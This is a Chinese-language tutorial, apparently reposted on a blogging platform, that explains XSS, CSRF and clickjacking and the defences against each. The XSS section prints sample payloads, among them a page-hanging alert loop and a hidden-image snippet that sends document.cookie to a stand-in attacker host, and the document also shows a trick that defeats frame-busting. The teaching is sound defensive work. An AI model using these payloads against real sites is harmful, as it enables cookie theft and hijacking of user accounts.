前端安全知識(shí)

原文連接 https://jkchao.cn/article/59de0283c52d5a4ba98b1f0d

XSS

xss: 跨站腳本攻擊（Cross Site Scripting）是最常見(jiàn)和基本的攻擊 WEB 網(wǎng)站方法，攻擊者通過(guò)注入非法的 html 標(biāo)簽或者 javascript 代碼，從而當(dāng)用戶(hù)瀏覽該網(wǎng)頁(yè)時(shí)，控制用戶(hù)瀏覽器。

xss 主要分為三類(lèi)：

  • DOM xss :

    DOM即文本對(duì)象模型，DOM通常代表在html、xhtml和xml中的對(duì)象，使用DOM可以允許程序和腳本動(dòng)態(tài)的訪問(wèn)和更新文檔的內(nèi)容、結(jié)構(gòu)和樣式。它不需要服務(wù)器解析響應(yīng)的直接參與，觸發(fā)XSS靠的是瀏覽器端的DOM解析，可以認(rèn)為完全是客戶(hù)端的事情。

  • 反射型 xss :

    反射型XSS也被稱(chēng)為非持久性XSS，是現(xiàn)在最容易出現(xiàn)的一種XSS漏洞。發(fā)出請(qǐng)求時(shí)，XSS代碼出現(xiàn)在URL中，最后輸入提交到服務(wù)器，服務(wù)器解析后在響應(yīng)內(nèi)容中出現(xiàn)這段XSS代碼，最后瀏覽器解析執(zhí)行。

  • 存儲(chǔ)型 xss :

    存儲(chǔ)型XSS又被稱(chēng)為持久性XSS，它是最危險(xiǎn)的一種跨站腳本，相比反射型XSS和DOM型XSS具有更高的隱蔽性，所以危害更大，因?yàn)樗恍枰脩?hù)手動(dòng)觸發(fā)。 允許用戶(hù)存儲(chǔ)數(shù)據(jù)的web程序都可能存在存儲(chǔ)型XSS漏洞，當(dāng)攻擊者提交一段XSS代碼后，被服務(wù)器端接收并存儲(chǔ)，當(dāng)所有瀏覽者訪問(wèn)某個(gè)頁(yè)面時(shí)都會(huì)被XSS，其中最典型的例子就是留言板。

跨站腳本攻擊可能造成以下影響：

  • 利用虛假輸入表單騙取用戶(hù)個(gè)人信息。

  • 利用腳本竊取用戶(hù)的 Cookie 值，被害者在不知情的情況下，幫助攻擊者發(fā)送惡意請(qǐng)求。

  • 顯示偽造的文章或圖片。

存儲(chǔ)型 xss 案例

在項(xiàng)目開(kāi)發(fā)中，評(píng)論是個(gè)常見(jiàn)的功能，如果直接把評(píng)論的內(nèi)容保存到數(shù)據(jù)庫(kù)，那么顯示的時(shí)候就可能被攻擊。

  • 如果你只是想試試 xss，可以這樣：

    <font size="100" color="red">試試水</font>

  • 如果帶點(diǎn)惡意，可以這樣：

    <script>
    while (true) {
        alert('Hello')
    }
</script>

    這時(shí)，網(wǎng)站就掛了。

  • 當(dāng)然，最常見(jiàn) xss 攻擊是讀取 Cookie：

    <script>
    alert(document.cookie)
</script>

    Cookie 發(fā)送給攻擊者的站點(diǎn)：

    var img = document.createElement('img')
img.src='http://www.xss.com?cookie=' + document.cookie
img.style.display='none'
document.getElementsByTagName('body')[0].appendChild(img)

    當(dāng)前用戶(hù)的登錄憑證存儲(chǔ)于服務(wù)器的 session 中，而在瀏覽器中是以 cookie 的形式存儲(chǔ)的。如果攻擊者能獲取到用戶(hù)登錄憑證的 Cookie，甚至可以繞開(kāi)登錄流程，直接設(shè)置這個(gè) Cookie 值，來(lái)訪問(wèn)用戶(hù)的賬號(hào)。

防御

按理說(shuō)，只要有輸入數(shù)據(jù)的地方，就可能存在 XSS 危險(xiǎn)。

  • httpOnly: 在 cookie 中設(shè)置 HttpOnly 屬性后，js腳本將無(wú)法讀取到 cookie 信息。

    // koa
ctx.cookies.set(name, value, {
    httpOnly: true // 默認(rèn)為 true
})

  • 過(guò)濾

    • 輸入檢查，一般是用于對(duì)于輸入格式的檢查，例如：郵箱，電話(huà)號(hào)碼，用戶(hù)名，密碼……等，按照規(guī)定的格式輸入。

      不僅僅是前端負(fù)責(zé)，后端也要做相同的過(guò)濾檢查。

      因?yàn)楣粽咄耆梢岳@過(guò)正常的輸入流程，直接利用相關(guān)接口向服務(wù)器發(fā)送設(shè)置。

    • HtmlEncode
      某些情況下，不能對(duì)用戶(hù)數(shù)據(jù)進(jìn)行嚴(yán)格過(guò)濾，需要對(duì)標(biāo)簽進(jìn)行轉(zhuǎn)換

      當(dāng)用戶(hù)輸入<script>window.location.href=”http://www.baidu.com”;</script>, 最終保存結(jié)果為 <script>window.location.</script>, 在展現(xiàn)時(shí)，瀏覽器會(huì)對(duì)這些字符轉(zhuǎn)換成文本內(nèi)容，而不是一段可以執(zhí)行的代碼。

  • JavaScriptEncode
    對(duì)下列字符加上反斜杠

    關(guān)于更多 HtmlEncode 和 JavaScriptEncode，請(qǐng)參考 http://www.cnblogs.com/lovesong/p/5211667.html

CSRF

csrf：跨站點(diǎn)請(qǐng)求偽造（Cross-Site Request Forgeries），也被稱(chēng)為 one-click attack 或者 session riding。冒充用戶(hù)發(fā)起請(qǐng)求（在用戶(hù)不知情的情況下）， 完成一些違背用戶(hù)意愿的事情（如修改用戶(hù)信息，刪初評(píng)論等）。

可能會(huì)造成以下影響：

  • 利用已通過(guò)認(rèn)證的用戶(hù)權(quán)限更新設(shè)定信息等；

  • 利用已通過(guò)認(rèn)證的用戶(hù)權(quán)限購(gòu)買(mǎi)商品；

  • 利用已通過(guò)的用戶(hù)權(quán)限在留言板上發(fā)表言論。

一張圖了解原理：

簡(jiǎn)而言之：網(wǎng)站過(guò)分相信用戶(hù)。

與 xss 區(qū)別

  • 通常來(lái)說(shuō) CSRF 是由 XSS 實(shí)現(xiàn)的，CSRF 時(shí)常也被稱(chēng)為 XSRF（CSRF 實(shí)現(xiàn)的方式還可以是直接通過(guò)命令行發(fā)起請(qǐng)求等）。

  • 本質(zhì)上講，XSS 是代碼注入問(wèn)題，CSRF 是 HTTP 問(wèn)題。XSS 是內(nèi)容沒(méi)有過(guò)濾導(dǎo)致瀏覽器將攻擊者的輸入當(dāng)代碼執(zhí)行。CSRF 則是因?yàn)闉g覽器在發(fā)送 HTTP 請(qǐng)求時(shí)候自動(dòng)帶上 cookie，而一般網(wǎng)站的 session 都存在 cookie里面。

  • 來(lái)自某乎的一個(gè)栗子：

案例

比如某網(wǎng)站的轉(zhuǎn)賬操作

受害者張三給李四轉(zhuǎn)賬100，

通過(guò)對(duì)銀行的網(wǎng)站發(fā)起請(qǐng)求 http://bank.example/transfer?accout=張三&to=李四&money=100 ，

通常情況下，該請(qǐng)求發(fā)出后，服務(wù)器端會(huì)檢查 session 是否合法，并且張三已經(jīng)登錄成功，

黑客王五可以自己給銀行發(fā)送一個(gè)請(qǐng)求 http://bank.example/transfer?accout=張三&to=王五&money=1000 ，但是這個(gè)請(qǐng)求來(lái)自王五，而不是張三，他并不能通過(guò)安全認(rèn)證。他需要張三的 session 。

王五自己做了一個(gè)網(wǎng)站，放入如下代碼 http://bank.example/transfer?accout=張三&to=王五&money=1000 ，
用各種方式誘使張三點(diǎn)擊自己的網(wǎng)站。

張三登錄了銀行的網(wǎng)站沒(méi)有退出，訪問(wèn)了黑客王五的網(wǎng)站，上述的 url 就會(huì)向銀行發(fā)起請(qǐng)求。

如果session沒(méi)有過(guò)期，這時(shí)悲劇就發(fā)生了，張三的賬戶(hù)里少了1000。

防御

  • 驗(yàn)證碼；強(qiáng)制用戶(hù)必須與應(yīng)用進(jìn)行交互，才能完成最終請(qǐng)求。此種方式能很好的遏制 csrf，但是用戶(hù)體驗(yàn)比較差。

  • 盡量使用 post ，限制 get 使用；上一個(gè)例子可見(jiàn)，get 太容易被拿來(lái)做 csrf 攻擊，但是 post 也并不是萬(wàn)無(wú)一失，攻擊者只需要構(gòu)造一個(gè)form就可以。

  • Referer check；請(qǐng)求來(lái)源限制，此種方法成本最低，但是并不能保證 100% 有效，因?yàn)榉?wù)器并不是什么時(shí)候都能取到 Referer，而且低版本的瀏覽器存在偽造 Referer 的風(fēng)險(xiǎn)。

  • token；token 驗(yàn)證的 CSRF 防御機(jī)制是公認(rèn)最合適的方案。

    整體思路如下：

    • 第一步：后端隨機(jī)產(chǎn)生一個(gè) token，把這個(gè)token 保存到 session 狀態(tài)中；同時(shí)后端把這個(gè)token 交給前端頁(yè)面；

    • 第二步：前端頁(yè)面提交請(qǐng)求時(shí)，把 token 加入到請(qǐng)求數(shù)據(jù)或者頭信息中，一起傳給后端；

    • 后端驗(yàn)證前端傳來(lái)的 token 與 session 是否一致，一致則合法，否則是非法請(qǐng)求。

    若網(wǎng)站同時(shí)存在 XSS 漏洞的時(shí)候，這個(gè)方法也是空談。

Clickjacking

Clickjacking： 點(diǎn)擊劫持，是指利用透明的按鈕或連接做成陷阱，覆蓋在 Web 頁(yè)面之上。然后誘使用戶(hù)在不知情的情況下，點(diǎn)擊那個(gè)連接訪問(wèn)內(nèi)容的一種攻擊手段。這種行為又稱(chēng)為界面?zhèn)窝b(UI Redressing) 。

大概有兩種方式：

  • 攻擊者使用一個(gè)透明 iframe，覆蓋在一個(gè)網(wǎng)頁(yè)上，然后誘使用戶(hù)在該頁(yè)面上進(jìn)行操作，此時(shí)用戶(hù)將在不知情的情況下點(diǎn)擊透明的 iframe 頁(yè)面；

  • 攻擊者使用一張圖片覆蓋在網(wǎng)頁(yè)，遮擋網(wǎng)頁(yè)原有的位置含義。

案例

一張圖了解

一般步驟

  • 黑客創(chuàng)建一個(gè)網(wǎng)頁(yè)利用 iframe 包含目標(biāo)網(wǎng)站；

  • 隱藏目標(biāo)網(wǎng)站，使用戶(hù)無(wú)法無(wú)法察覺(jué)到目標(biāo)網(wǎng)站存在；

  • 構(gòu)造網(wǎng)頁(yè)，誘變用戶(hù)點(diǎn)擊特點(diǎn)按鈕

  • 用戶(hù)在不知情的情況下點(diǎn)擊按鈕，觸發(fā)執(zhí)行惡意網(wǎng)頁(yè)的命令。

防御

  • X-FRAME-OPTIONS；

    X-FRAME-OPTIONS HTTP 響應(yīng)頭是用來(lái)給瀏覽器指示允許一個(gè)頁(yè)面可否在<frame>, <iframe> 或者 <object> 中展現(xiàn)的標(biāo)記。網(wǎng)站可以使用此功能，來(lái)確保自己網(wǎng)站內(nèi)容沒(méi)有被嵌到別人的網(wǎng)站中去，也從而避免點(diǎn)擊劫持的攻擊。

    有三個(gè)值：

    • DENY：表示頁(yè)面不允許在 frame 中展示，即便是在相同域名的頁(yè)面中嵌套也不允許。

    • SAMEORIGIN：表示該頁(yè)面可以在相同域名頁(yè)面的 frame 中展示。

    • ALLOW-FROM url：表示該頁(yè)面可以在指定來(lái)源的 frame 中展示。

配置 X-FRAME-OPTIONS：

- Apache 

把下面這行添加到 'site' 的配置中：

```
Header always append X-Frame-Options SAMEORIGIN
```

- nginx

把下面這行添加到 'http', 'server' 或者 'location'，配置中

```
add_header X-Frame-Options SAMEORIGIN;
```

- IIS

添加下面配置到 Web.config 文件中

```
    <system.webServer>
  ...

  <httpProtocol>
    <customHeaders>
      <add name="X-Frame-Options" value="SAMEORIGIN" />
    </customHeaders>
  </httpProtocol>

  ...
</system.webServer>

```
  • js 判斷頂層窗口跳轉(zhuǎn)，可輕易破解，意義不大；
function locationTop(){
     if (top.location != self.location) {
        top.location = self.location; return false;
     }
     return true; 
    }
locationTop();

// 破解：
// 頂層窗口中放入代碼
var location = document.location;
//或者
var location = "";
最后編輯于 ：
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成，瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明：文章內(nèi)容（如有圖片或視頻亦包括在內(nèi)）由作者上傳并發(fā)布，文章內(nèi)容僅代表作者本人觀點(diǎn)，簡(jiǎn)書(shū)系信息發(fā)布平臺(tái)，僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • http://www.91ri.org/tag/fuzz-bug 通常情況下，有三種方法被廣泛用來(lái)防御CSRF攻擊...
    jdyzm閱讀 4,394評(píng)論 0贊 5
  • 基礎(chǔ) XSS就是讓瀏覽器執(zhí)行想插入的js。那么如何發(fā)現(xiàn)這些漏洞呢？只要有輸入和輸出的地方都伴隨著漏洞的產(chǎn)生，下面介...
    lotuslwb閱讀 1,044評(píng)論 0贊 0
  • HTTP cookie(也稱(chēng)為web cookie,網(wǎng)絡(luò)cookie,瀏覽器cookie或者簡(jiǎn)稱(chēng)cookie)是網(wǎng)...
    留七七閱讀 18,383評(píng)論 2贊 71
  • 前言 對(duì)于一個(gè)影子殺手而言，總能殺人于無(wú)形。前端也有影子殺手，它總是防不勝防地危害著你的網(wǎng)站 本篇打算介紹一些前端...
    Layzimo閱讀 740評(píng)論 0贊 1
  • 我不喜歡北京的霧霾，也不喜歡城市的堵車(chē)，不喜歡世界，我只喜歡你！一萬(wàn)年太久，怕你老了
    陸副帥閱讀 133評(píng)論 0贊 0

友情鏈接更多精彩內(nèi)容